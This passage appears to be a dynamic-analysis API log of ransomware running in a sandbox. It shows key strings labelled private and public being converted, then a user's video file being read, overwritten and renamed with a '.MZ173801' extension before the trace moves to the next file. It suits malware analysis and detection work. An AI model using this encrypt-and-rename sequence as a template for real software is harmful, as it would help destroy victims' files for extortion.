DscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] GetCurrentThreadId () returned 0xab4 [0166.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.589] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.589] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.589] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x13ed7 [0166.589] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.589] ReadFile (in: hFile=0x27c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x13ed7, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f480*=0x13ed7, lpOverlapped=0x0) returned 1 [0166.590] CloseHandle (hObject=0x27c) returned 1 [0166.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.593] WriteFile (in: hFile=0x27c, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x13ed7, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19f48c*=0x13ed7, lpOverlapped=0x0) returned 1 [0166.596] CloseHandle (hObject=0x27c) returned 1 [0166.603] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf.mz173801")) returned 1 [0166.603] GetCurrentThreadId () returned 0xab4 [0166.603] GetCurrentThreadId () returned 0xab4 [0166.603] GetCurrentThreadId () returned 0xab4 [0166.603] GetCurrentThreadId () returned 0xab4 [0166.604] GetCurrentThreadId () returned 0xab4 [0166.604] GetCurrentThreadId () returned 0xab4 [0166.604] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7699670, ftCreationTime.dwHighDateTime=0x1d5eed6, ftLastAccessTime.dwLowDateTime=0xc24cb1b0, ftLastAccessTime.dwHighDateTime=0x1d5e243, ftLastWriteTime.dwLowDateTime=0xc24cb1b0, ftLastWriteTime.dwHighDateTime=0x1d5e243, nFileSizeHigh=0x0, nFileSizeLow=0x9918, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="fhSP KphnxTI.flv", cAlternateFileName="FHSPKP~1.FLV")) returned 1 [0166.604] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.604] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7699670, ftCreationTime.dwHighDateTime=0x1d5eed6, ftLastAccessTime.dwLowDateTime=0xc24cb1b0, ftLastAccessTime.dwHighDateTime=0x1d5e243, ftLastWriteTime.dwLowDateTime=0xc24cb1b0, ftLastWriteTime.dwHighDateTime=0x1d5e243, nFileSizeHigh=0x0, nFileSizeLow=0x9918)) returned 1 [0166.604] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv")) returned 0x20 [0166.604] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv", dwFileAttributes=0x80) returned 1 [0166.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTx